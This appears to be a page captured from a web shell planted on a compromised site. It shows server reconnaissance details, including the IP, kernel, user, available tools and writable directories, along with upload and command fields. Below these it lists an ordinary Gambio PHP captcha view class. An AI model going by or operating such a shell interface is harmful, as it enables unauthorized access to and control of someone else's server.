403Webshell
Server IP : 85.158.181.41  /  Your IP : 216.73.217.12
Web Server : Apache
System : Linux cloud9-vm129 6.1.178+1-ph #ph SMP PREEMPT_DYNAMIC Wed Jul 29 09:00:54 UTC 2026 x86_64
User : moncbefd ( 1024)
PHP Version : 7.3.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/moncbefd/www.moneta.at/system/classes/security/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/moncbefd/www.moneta.at/system/classes/security/CaptchaContentView.inc.php
<?php
/* --------------------------------------------------------------
   CaptchaContentView.inc.php 2018-02-23
   Gambio GmbH
   http://www.gambio.de
   Copyright (c) 2018 Gambio GmbH
   Released under the GNU General Public License (Version 2)
   [http://www.gnu.org/licenses/gpl-2.0.html]
   --------------------------------------------------------------
*/

/**
 * Class CaptchaContentView
 */
class CaptchaContentView extends ContentView
{
	/**
	 * @var string $captchaName
	 */
	protected $captchaName = '';
	
	/**
	 * @var string $captchaTheme
	 */
	protected $captchaTheme = '';
	
	/**
	 * @var string $captchaUrl
	 */
	protected $captchaUrl = '';
	
	/**
	 * @var bool $isRecaptcha
	 */
	protected $isRecaptcha = false;
    
    /**
     * @var bool $isRecaptchaV2
     */
    protected $isRecaptchaV2 = false;
	
	/**
	 * @var string $publicKey
	 */
	protected $publicKey = '';
	
	/**
	 * @var string $recaptchaHtml
	 */
	protected $recaptchaHtml = '';
	
	
	public function prepare_data()
	{
		if($this->isRecaptcha)
		{
			$this->set_content_template('module/recaptcha.html');
			
			$this->set_content_data('SCRIPT', $this->recaptchaHtml);
			$this->set_content_data('PUBLIC_KEY', $this->publicKey);
			$this->set_content_data('THEME', $this->captchaTheme);
		}
		else if($this->isRecaptchaV2)
        {
            $this->set_content_template('module/recaptcha_v2.html');
            
            $this->set_content_data('PUBLIC_KEY', $this->publicKey);
        }
		else
		{
			$this->set_content_template('module/captcha.html');
			
			$this->set_content_data('NAME', $this->captchaName);
			$this->set_content_data('URL', $this->captchaUrl);
		}
	}
	
	
	/**
	 * @param string $captchaName
	 */
	public function setCaptchaName($captchaName)
	{
		$this->captchaName = (string)$captchaName;
	}
	
	
	/**
	 * @param string $captchaTheme
	 */
	public function setCaptchaTheme($captchaTheme)
	{
		$this->captchaTheme = (string)$captchaTheme;
	}
	
	
	/**
	 * @param string $captchaUrl
	 */
	public function setCaptchaUrl($captchaUrl)
	{
		$this->captchaUrl = (string)$captchaUrl;
	}
	
	
	/**
	 * @param string $isRecaptcha
	 */
	public function setIsRecaptcha($isRecaptcha)
	{
		$this->isRecaptcha = (bool)$isRecaptcha;
	}
    
    /**
     * @param string $isRecaptchaV2
     */
    public function setIsRecaptchaV2($isRecaptchaV2)
    {
        $this->isRecaptchaV2 = (bool)$isRecaptchaV2;
    }
	
	
	/**
	 * @param string $publicKey
	 */
	public function setPublicKey($publicKey)
	{
		$this->publicKey = (string)$publicKey;
	}
	
	
	/**
	 * @param string $recaptchaHtml
	 */
	public function setRecaptchaHtml($recaptchaHtml)
	{
		$this->recaptchaHtml = (string)$recaptchaHtml;
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit